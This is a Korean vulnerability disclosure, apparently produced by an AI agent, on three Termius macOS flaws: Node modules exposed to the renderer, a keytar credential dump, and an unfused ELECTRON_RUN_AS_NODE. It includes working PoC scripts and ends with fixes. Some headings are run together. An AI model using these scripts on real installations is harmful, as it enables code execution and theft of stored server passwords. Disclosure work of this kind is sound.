
세 가지 치명적인 Termius macOS 결함에 대한 PoC가 포함된 취약점 공개: 노출된 Node 모듈을 통한 원격 코드 실행, 로컬 권한 상승 자격 증명 덤프, Electron 퓨즈 우회. 수정 지침 포함.
대상: Termius (macOS) 테스트 버전: 최신 (2026년 1월 기준) 영향: 원격 코드 실행 (RCE), 로컬 권한 상승 (LPE), 앱 보안 우회
Termius macOS 애플리케이션에서 공격자가 다음을 수행할 수 있게 하는 세 가지 심각한 취약점이 발견되었습니다:
keytar 네이티브 모듈을 악용하여.ELECTRON_RUN_AS_NODE 퓨즈를 이용하여.애플리케이션은 강력한 Node.js 모듈(child_process, fs, electron)을 렌더러 프로세스(앱의 웹 인터페이스 부분)에 노출합니다. 이러한 모듈은 숨기기 위해 객체의 전역 뒤에 감춰져 있지만 안전하게 격리되지는 않습니다.
windowSymbol// In extracted app source
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
크로스 사이트 스크립팅(XSS)을 달성한 공격자는 이 노출된 symbol을 사용하여 즉시 RCE로 확대할 수 있습니다.
poc_rce_via_symbol.js:
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute arbitrary system command (e.g., Calculator)
backdoor.child_process.exec("open -a Calculator");
}
Termius가 macOS 키체인과 인터페이스하기 위해 사용하는 keytar 네이티브 Node 모듈도 동일한 숨겨진 Symbol을 통해 노출됩니다. 이를 통해 애플리케이션 컨텍스트 내에서 실행되는 모든 스크립트(예: 악성 플러그인, XSS 또는 로컬 프로세스 인젝션)가 저장된 모든 서버의 평문 비밀번호를 조회하고 가져올 수 있습니다.
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)Termius 바이너리는 ELECTRON_RUN_AS_NODE 퓨즈를 비활성화하지 않습니다. 이는 모든 로컬 사용자가 서명된 Termius 바이너리를 표준 Node.js 실행 파일로 실행할 수 있게 하는 심각한 보안 구성 오류입니다. 이는 애플리케이션 로직에 대한 macOS 코드 서명 무결성 검사를 완전히 우회합니다.
poc_fuse.sh:
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
@electron/fuses를 사용하여 RunAsNode 및 EnableNodeCliInspectArguments를 명시적으로 비활성화하세요.window 또는 global에 첨부하지 마세요. 전체 모듈이 아닌 필요한 함수만 노출하는 제한된 API 표면과 함께 contextBridge.exposeInMainWorld를 사용하세요.Antigravity Agent가 생성한 보고서